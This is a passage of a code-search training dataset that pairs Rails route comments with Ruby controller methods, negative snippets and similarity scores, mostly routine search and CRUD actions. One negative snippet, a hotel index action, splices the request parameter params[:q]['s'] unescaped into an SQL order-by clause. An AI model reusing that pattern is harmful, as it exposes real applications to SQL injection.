params[:page], :per_page => 42, :order => sort_mode\n @facets = Knowledge.facets search_string, :with => with\n @tags = @facets[:tags].map{|t| t[0] unless t[0] == 0 }.compact.uniq\n @selected_tags = params[:tags] || []\n @count = @knowledges.count\n @sort_mode = case params[:sorting]\n when \"@relevance\" then \"pertinence\"\n when \"created_at\" then \"date de création\"\n when \"cached_votes_score\" then \"score\"\n else \"\"\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @knowledges }\n end\n end", "def index\n\n @searches = Search.all\n end", "def searchsuggestion_params\n params.require(:searchsuggestion).permit(:term, :popularity)\n end", "def searcher_params\n params.require(:searcher).permit(:name, :surname, :skills, :phone, :experience, :user_id, :profession, :wtime, :country_id, :city_id, :payment, :value)\n end", "def create\n @address_search = AddressSearch.new(address_search_params)\n\n respond_to do |format|\n if @address_search.save\n format.html { redirect_to @address_search, notice: 'Address search was successfully created.' }\n format.json { render :show, status: :created, location: @address_search }\n else\n format.html { render :new }\n format.json { render json: @address_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search result.' }\n format.json { render action: 'show', status: :created, location: @search }\n else\n format.html { redirect_to products_path, notice: 'Failed to search' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def tracks_search params = { :query => 'love', :page => 1 }\n json = send_request 'tracks_search', params\n if json['success'] == true\n json['tracks']\n else\n puts \"Error: \" + json['message']\n exit\n end\n end", "def search_params\n params.require(:search).permit(:query)\n end", "def create\n search_params = SearchParameter.new search_attributes\n return render json: search_params.errors, status: :bad_request if search_params.invalid?\n\n search_id = RegisterSearchService.register search_params\n render pretty_json: to_hash(search_id)\n end", "def create\n @custom_search_engine = CustomSearchEngine.new(params[:custom_search_engine])\n @custom_search_engine.author = current_user\n @custom_search_engine.status = 'draft'\n @custom_search_engine.annotations.each do |a|\n prefix = a.about.slice(/http(s)?:\\/\\//)\n a.about = prefix.nil? ? \"http://#{a.about}\" : \"#{a.about}\"\n end\n respond_to do |format|\n if @custom_search_engine.save\n add_cse_to_dashboard(@custom_search_engine)\n link_cse(@custom_search_engine)\n flash[:success] = I18n.t('human.success.create', \n item: I18n.t('human.text.cse'))\n format.html { redirect_to node_cse_path(@node, @custom_search_engine)}\n format.json { render json: @custom_search_engine, status: :created, \n location: @custom_search_engine }\n else\n format.html { render action: \"new\" }\n format.json { render json: @custom_search_engine.errors, \n status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.add(params,self.current_user.id)\n rescue => ex\n handle_exception(ex)\n ensure\n respond_to do |format|\n format.json \n end\n end", "def search\n games_data = BoardGameAtlas::API.search(params[:name])\n render json: { games: games_data.map }\n end", "def index\n\n @search = House.search()\n @houses = House.order(\"country\").order(\"name\").page params[:page]\n\n if params[:q]\n @search = House.search(params[:q])\n @houses = @search.result.order(\"country\").order(\"name\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @houses }\n end\n end", "def search\n\n @tasks = []\n \n PgSearch.multisearch(params['search-string']).where(:searchable_type => \"Task\").find_each do |document|\n @tasks << document.searchable\n end\n\n respond_to do |format|\n format.html { render action: \"index\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n \n end", "def index\n @saved_searches = SavedSearch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @saved_searches }\n end\n end", "def index\n @reloud_checks = ReloudCheck.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reloud_checks }\n end\n end", "def search\n\n # define the elasticsearch result \"size\" (limit)\n limit = params['limit'].to_i\n # define the elasticsearch result \"from\" (offset)\n offset = params['offset'].to_i\n # Pass through\n hack = params['hack']\n # Default output\n searchResults = ''\n # If we have filters, we need to parse them\n if params['filters'].present?\n filters = []\n # For each of the filters format them and stuff them into an array\n params['filters'].each do |key, filter|\n\n if [\n 'properties.educationalAlignment.properties.targetName',\n 'properties.inLanguage',\n 'properties.isBasedOnUrl',\n 'properties.thumbnailUrl',\n 'properties.timeRequired',\n 'properties.typicalAgeRange',\n 'properties.url',\n 'properties.useRightsUrl'\n ].include?(key)\n searchKey = \"schema-org.#{key}.original\"\n matchTerm = 'term'\n else\n searchKey = \"schema-org.#{key}\"\n matchTerm = 'match'\n end\n\n if filter.keys.count > 1\n # This is more complex because this filter type needs the keys or'd together\n orFilters = []\n filter.keys.each do |f|\n orFilters << { 'query' => { matchTerm => { searchKey => f.to_s } } }\n end\n filters << { 'or' => orFilters }\n else\n # This should be simple, there is only one of this filter key\n filters << { 'query' => { matchTerm => { searchKey => filter.keys.first.to_s } } }\n end\n end\n\n # If the query is present we need to match it\n if params['query'].present?\n query = { 'match' => { '_all' => params['query'] } }\n filter = { 'and' => filters }\n # If no query is present then we can wildcard against anything\n else\n query = { 'match_all' => { } }\n filter = { 'and' => filters }\n end\n # if not filter is present then just match against query\n else\n query = { 'match' => { '_all' => params['query'] } }\n end\n\n # Build the payload from the various parts\n payload = {\n 'size' => limit,\n 'from' => offset,\n 'query' => {\n 'filtered' => {\n 'query' => query,\n 'filter' => filter\n }\n },\n \"facets\" => {\n \"intendedEndUserRole\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.intendedEndUserRole.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"typicalAgeRange\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.typicalAgeRange.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"educationalUse\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.educationalUse.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"interactivityType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.interactivityType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"learningResourceType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.learningResourceType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"mediaType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.mediaType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n }\n }\n }\n\n#puts \"PAYLOAD\"; puts Rails.configuration.elastic_search_url; puts payload.to_json\n\n # Okay after all that mess, lets make the request\n request = RestClient::Request.new( :method => :get, :url => Rails.configuration.elastic_search_url, :payload => payload.to_json )\n # Since this can error lets catch it\n begin\n searchResults = request.execute\n results = JSON.parse(searchResults)\n results[:hack] = hack\n\n#puts \"RESPONSE\"; puts results.to_json\n\n respond_to do |format|\n format.json { render json: results }\n end\n rescue => e\n # @TODO Need to return the correct error type and then an error message to be shown to user.\n respond_to do |format|\n format.json { render json: searchResults }\n end\n#puts \"ERROR!\"; puts e.response\n end\n\n end", "def search_data\n {\n title: title,\n tagline: tagline,\n description: description,\n status: status,\n rating: rating,\n categories: categories.map(&:id),\n research_areas: research_areas.map(&:id),\n providers: providers.map(&:id),\n platforms: platforms.map(&:id),\n target_groups: target_groups.map(&:id),\n tags: tag_list\n }\n end", "def create\n @jobsearch = Jobsearch.new(params[:jobsearch])\n\n respond_to do |format|\n if @jobsearch.save\n format.html { redirect_to @jobsearch, notice: 'Jobsearch was successfully created.' }\n format.json { render json: @jobsearch, status: :created, location: @jobsearch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @jobsearch.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @search = Sunspot.search Generator do\n fulltext params[:query_generator]\n end\n @generators = @search.results\n respond_to do |format|\n format.html\n format.json {render :json => @generators.map(&:attributes) }\n end\nend", "def create\n search_term = params[\"query\"][\"search_term\"]\n results = api_request_results(search_term)\n\n #movie = OwnedMovie.create(title: response[\"title\"], poster: response[\"poster_path\"], description: response[\"overview\"])\n\n #movie.save!\n\n results.each do |result|\n print result['title'] + \"\\n\"\n end \n\n @results = results\n\n\n redirect_to \"/\"\n end", "def Search query\n \n APICall(path: \"search.json?query=#{query}\",method: 'GET')\n \n end", "def create\n @user_search = UserSearch.new(user_search_params)\n\n respond_to do |format|\n if @user_search.save\n format.html { redirect_to @user_search, notice: 'User search was successfully created.' }\n format.json { render :show, status: :created, location: @user_search }\n else\n format.html { render :new }\n format.json { render json: @user_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(params[:search])\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to(@search, :notice => 'Search was successfully created.') }\n format.xml { render :xml => @search, :status => :created, :location => @search }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @search.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @searcheds = Searched.all\n end", "def search \n\n end", "def index\n page = params[:page] || 1\n page = page.to_i\n per_page = params[:per_page] || 25\n per_page = per_page.to_i\n @results = {}\n\n search = params[:searchterm]\n if search && search.empty?\n search = nil\n end\n\n if search\n page = 1\n per_page = 50\n @stats = SearchEngine.search(Stat, search)\n total = @stats.count\n @stats = Kaminari.paginate_array(@stats).page(page).per(per_page)\n \n @searchterm = search\n else\n @stats = Stat.desc(:id).page(page).per(per_page)\n total = Stat.count\n end\n \n @results[:first] = (page-1) * per_page + 1\n @results[:last ] = [total, page * per_page].min\n @results[:total] = total\n end", "def search\n\n end", "def create\n @type_search = TypeSearch.new(type_search_params)\n\n respond_to do |format|\n if @type_search.save\n format.html { redirect_to @type_search, notice: 'Type search was successfully created.' }\n format.json { render :show, status: :created, location: @type_search }\n else\n format.html { render :new }\n format.json { render json: @type_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def search\n Api.search_all_apis params[:postcode]\n end", "def index\n @q = Hotel.ransack(search_params)\n\n search_params.each_pair { |key, value|\n @key = \"#{key}\"\n @value = \"#{value}\"\n break # 先頭の条件のみ\n }\n\n sql = @q.result.to_sql\n if params[:q][\"s\"] then\n sql = sql + \" order by \"+ params[:q][\"s\"]\n sql.gsub!(\"\\\"\",\"\")\n else\n sql = sql + \" order by updated_at desc limit 10\"\n end\n @hotels = Hotel.find_by_sql(sql)\n # if @hotels then\n # @message = \"お探しの民泊施設は見つかりませんでした\"\n # end\n # @hotels = Hotel.all\n @comment = Comment.new\n end" ]
[ "0.67871493", "0.6487988", "0.64730036", "0.64707506", "0.6438359", "0.63838005", "0.6288693", "0.6272228", "0.6264629", "0.62407804", "0.61506045", "0.6135573", "0.61323357", "0.6046458", "0.60401076", "0.6008405", "0.6001088", "0.5994454", "0.59741265", "0.5971785", "0.59686965", "0.59686965", "0.59686965", "0.59686965", "0.59686965", "0.59532785", "0.59530383", "0.59515077", "0.59515077", "0.59515077", "0.59515077", "0.592841", "0.592841", "0.592841", "0.58852154", "0.58579856", "0.58471525", "0.5837617", "0.5828194", "0.5823239", "0.5816322", "0.5812319", "0.5791383", "0.5783775", "0.57832515", "0.5759178", "0.5746717", "0.5746406", "0.57284224", "0.5727434", "0.5717703", "0.57156825", "0.5712985", "0.5708946", "0.56982356", "0.5698078", "0.56975937", "0.56889635", "0.56832993", "0.5683065", "0.5683065", "0.5683065", "0.5683065", "0.5683065", "0.56691074", "0.5663991", "0.5660858", "0.5658971", "0.5642527", "0.5636508", "0.5631241", "0.56278", "0.5626085", "0.56108314", "0.5609509", "0.5607407", "0.5602524", "0.5583065", "0.55770415", "0.5571691", "0.5568457", "0.5565898", "0.55612314", "0.55583566", "0.5551389", "0.5545419", "0.55451465", "0.55400676", "0.5536485", "0.5536412", "0.55298877", "0.5526915", "0.55197126", "0.5518796", "0.55147505", "0.550968", "0.5505363", "0.5503926", "0.5501408", "0.54958516" ]
0.6966397
0
PATCH/PUT /hp_searches/1 PATCH/PUT /hp_searches/1.json
def update respond_to do |format| if @hp_search.update(hp_search_params) format.html { redirect_to @hp_search, notice: 'Hp search was successfully updated.' } format.json { render :show, status: :ok, location: @hp_search } else format.html { render :edit } format.json { render json: @hp_search.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @advance_search.update(advance_search_params)\n format.html { redirect_to @advance_search, notice: 'Advance search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @advance_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n \n else\n format.html { render action: 'edit' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @saved_search = SavedSearch.find(params[:id])\n\n respond_to do |format|\n @saved_search.name = params[:name]\n @saved_search.query = params[:query]\n if @saved_search.save\n format.html { redirect_to :channels, :notice => 'Your channel was successfully saved.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @saved_search.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #@search = Search.find(params[:id])\n #\n #respond_to do |format|\n # if @search.update_attributes(params[:search])\n # format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n # format.json { head :ok }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @search.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def update\n respond_to do |format|\n if @searched.update(searched_params)\n format.html { redirect_to @searched, notice: 'Searched was successfully updated.' }\n format.json { render :show, status: :ok, location: @searched }\n else\n format.html { render :edit }\n format.json { render json: @searched.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n serialized_params = serialize_preset_search_params\n respond_to do |format|\n if @preset_search.update(serialized_params)\n format.html { redirect_to @preset_search, notice: 'Stored search was successfully updated.' }\n format.json { render :show, status: :ok, location: @preset_search }\n else\n format.html { render :edit }\n format.json { render json: @preset_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @namesearch = Namesearch.find(params[:id])\n\n respond_to do |format|\n if @namesearch.update_attributes(params[:namesearch])\n format.html { redirect_to @namesearch, notice: 'Namesearch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @namesearch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # actions\n path = URI(@endpoint).path\n action = URI(@req.request_uri).path.sub(path, '').split('/')\n action -= ['']\n if action.include?('_history')\n @actions = [action[0], '_history']\n else\n @actions = [action[0]]\n end\n\n # search param\n req_query = URI(@req.request_uri).query\n unless req_query.nil?\n @req_params = URI::decode_www_form(req_query).to_h\n end\n\n # requst method\n if @req.request_method == \"GET\" and @actions.include? '_history'\n @req_method = 'vread'\n elsif @req.request_method == \"GET\" and @req_params != nil\n @req_method = 'search-type'\n elsif @req.request_method == \"PUT\"\n @req_method = 'update'\n elsif @req.request_method == \"POST\"\n @req_method = 'create'\n else\n @req_method = 'read'\n end\n\n # interaction\n int1 = Interaction.last type: @actions[0], code: @req_method\n if int1.nil?\n @present = 0\n else\n @present = int1.id\n @intCode = int1.valueCode\n end\n end", "def update\n respond_to do |format|\n if @leaf_spot_imm_search.update(leaf_spot_imm_search_params)\n format.html { redirect_to @leaf_spot_imm_search, notice: 'Leaf spot imm search was successfully updated.' }\n format.json { render :show, status: :ok, location: @leaf_spot_imm_search }\n else\n format.html { render :edit }\n format.json { render json: @leaf_spot_imm_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @home_search = Home::Search.find(params[:id])\n\n respond_to do |format|\n if @home_search.update_attributes(params[:home_search])\n format.html { redirect_to @home_search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @home_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @search = Search.find(params[:id])\n\n respond_to do |format|\n if @search.update_attributes(params[:search])\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person_search = PersonSearch.find(params[:id])\n\n respond_to do |format|\n if @person_search.update_attributes(params[:person_search])\n format.html { redirect_to @person_search, notice: 'Person search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @search = Search.find(params[:id])\n #populate_attributes(@search, params[:search])\n @search.update_attributes(params[:search])\n\n if params[:search_terms]\n @search.url = @website.search_url(params[:search_terms])\n end\n\n respond_to do |format|\n\n if @search.save\n format.html { redirect_to [@website, @search], notice: 'Search was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @jobsearch = Jobsearch.find(params[:id])\n\n respond_to do |format|\n if @jobsearch.update_attributes(params[:jobsearch])\n format.html { redirect_to @jobsearch, notice: 'Jobsearch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobsearch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search}\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @allow_broadening = args[:allow_broadening] if args.key?(:allow_broadening)\n @filters = args[:filters] if args.key?(:filters)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @search_types = args[:search_types] if args.key?(:search_types)\n end", "def update!(**args)\n @allow_broadening = args[:allow_broadening] if args.key?(:allow_broadening)\n @filters = args[:filters] if args.key?(:filters)\n @query = args[:query] if args.key?(:query)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @search_types = args[:search_types] if args.key?(:search_types)\n end", "def update\n @tagsearch = Tagsearch.find(params[:id])\n\n respond_to do |format|\n if @tagsearch.update_attributes(params[:tagsearch])\n format.html { redirect_to @tagsearch, notice: 'Tagsearch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tagsearch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end", "def update!(**args)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end", "def update!(**args)\n @applied_controls = args[:applied_controls] if args.key?(:applied_controls)\n @attribution_token = args[:attribution_token] if args.key?(:attribution_token)\n @corrected_query = args[:corrected_query] if args.key?(:corrected_query)\n @facets = args[:facets] if args.key?(:facets)\n @guided_search_result = args[:guided_search_result] if args.key?(:guided_search_result)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @query_expansion_info = args[:query_expansion_info] if args.key?(:query_expansion_info)\n @redirect_uri = args[:redirect_uri] if args.key?(:redirect_uri)\n @results = args[:results] if args.key?(:results)\n @summary = args[:summary] if args.key?(:summary)\n @total_size = args[:total_size] if args.key?(:total_size)\n end", "def update_search\n respond_to do |format|\n #byebug\n if params[:q] == nil\n unless search_params.nil?\n #search_params.each do |key, param|\n # search_params[key] = nil\n #end\n search_params[params[:update_filter]] = nil\n session[:search_key][params[:update_filter]] = nil\n end\n #session.delete('search_key')\n else\n if session[:search_key].nil?\n session[:search_key] = {}\n end\n session[:search_key][params[:update_filter]] = params[:q][params[:update_filter]]\n end\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end", "def update\n update_resource_response(@headline, headline_params)\n end", "def update\n respond_to do |format|\n if @rh.update(rh_params)\n format.html { redirect_to @rh, notice: 'Rh was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rh.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if params[:search]\n \n end \n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @job_search_title.update(job_search_title_params)\n format.html { redirect_to @job_search_title, notice: \"Job search title was successfully updated.\" }\n format.json { render :show, status: :ok, location: @job_search_title }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @job_search_title.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @search.update(search_params)\n format.html { redirect_to @search, notice: 'Search was successfully updated.' }\n format.json { render :show, status: :ok, location: @search }\n else\n format.html { render :edit }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @task_search.update(TaskSearchesController.task_search_params(params))\n format.html { redirect_to @task_search, notice: 'Task search was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_search }\n else\n format.html { render :edit }\n format.json { render json: @task_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book_search.update(book_search_params)\n format.html { redirect_to @book_search, notice: 'Book search was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_search }\n else\n format.html { render :edit }\n format.json { render json: @book_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @grep_multi.update(grep_multi_params)\n format.html { redirect_to @grep_multi, notice: 'Grep multi was successfully updated.' }\n format.json { render :show, status: :ok, location: @grep_multi }\n else\n format.html { render :edit }\n format.json { render json: @grep_multi.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @people_suggestion = args[:people_suggestion] if args.key?(:people_suggestion)\n @query_suggestion = args[:query_suggestion] if args.key?(:query_suggestion)\n @source = args[:source] if args.key?(:source)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end", "def update!(**args)\n @people_suggestion = args[:people_suggestion] if args.key?(:people_suggestion)\n @query_suggestion = args[:query_suggestion] if args.key?(:query_suggestion)\n @source = args[:source] if args.key?(:source)\n @suggested_query = args[:suggested_query] if args.key?(:suggested_query)\n end", "def update\n @hit = Hit.find(params[:id])\n\n respond_to do |format|\n if @hit.update_attributes(params[:hit])\n format.html { redirect_to @hit, notice: 'Hit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @harvesting.update(harvesting_params)\n format.html { redirect_to @harvesting, notice: 'Harvesting was successfully updated.' }\n format.json { render :show, status: :ok, location: @harvesting }\n else\n format.html { render :edit }\n format.json { render json: @harvesting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hk.update(hk_params)\n format.html { redirect_to @hk, notice: 'Hk was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hk.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @hospital_suggestion = HospitalSuggestion.find(params[:id])\n\n respond_to do |format|\n if @hospital_suggestion.update_attributes(params[:hospital_suggestion])\n format.html { redirect_to @hospital_suggestion, notice: 'Hospital suggestion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hospital_suggestion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:resource][:term_ids] || []\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @custom_search_engine.updated_at = Time.now\n if @custom_search_engine.update_attributes(params[:custom_search_engine])\n flash[:success] = I18n.t('human.success.update', item: I18n.t('human.text.cse'))\n format.html do\n if @node.present?\n redirect_to node_cse_path(@node, @custom_search_engine)\n else\n redirect_to cse_path(@custom_search_engine)\n end\n end\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @custom_search_engine.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @suggest.update(suggest_params)\n format.html { redirect_to @suggest, notice: 'Suggest was successfully updated.' }\n format.json { render :show, status: :ok, location: @suggest }\n else\n format.html { render :edit }\n format.json { render json: @suggest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @searchterm.update(searchterm_params)\n format.html { redirect_to @searchterm, notice: 'Searchterm was successfully updated.' }\n format.json { render :show, status: :ok, location: @searchterm }\n else\n format.html { render :edit }\n format.json { render json: @searchterm.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @suggestion = args[:suggestion] if args.key?(:suggestion)\n @unfulfillable = args[:unfulfillable] if args.key?(:unfulfillable)\n end", "def update\n respond_to do |format|\n if @patent_actions.update(patent_search_params)\n format.html { redirect_to @patent_actions, notice: 'Patent search was successfully updated.' }\n format.json { render :show, status: :ok, location: @patent_actions }\n else\n format.html { render :edit }\n format.json { render json: @patent_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @harvesting = Harvesting.find(params[:id])\n\n respond_to do |format|\n if @harvesting.update_attributes(params[:harvesting])\n format.html { redirect_to @harvesting, notice: 'Harvesting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @harvesting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @boost_spec = args[:boost_spec] if args.key?(:boost_spec)\n @branch = args[:branch] if args.key?(:branch)\n @content_search_spec = args[:content_search_spec] if args.key?(:content_search_spec)\n @embedding_spec = args[:embedding_spec] if args.key?(:embedding_spec)\n @facet_specs = args[:facet_specs] if args.key?(:facet_specs)\n @filter = args[:filter] if args.key?(:filter)\n @image_query = args[:image_query] if args.key?(:image_query)\n @offset = args[:offset] if args.key?(:offset)\n @order_by = args[:order_by] if args.key?(:order_by)\n @page_size = args[:page_size] if args.key?(:page_size)\n @page_token = args[:page_token] if args.key?(:page_token)\n @params = args[:params] if args.key?(:params)\n @query = args[:query] if args.key?(:query)\n @query_expansion_spec = args[:query_expansion_spec] if args.key?(:query_expansion_spec)\n @ranking_expression = args[:ranking_expression] if args.key?(:ranking_expression)\n @safe_search = args[:safe_search] if 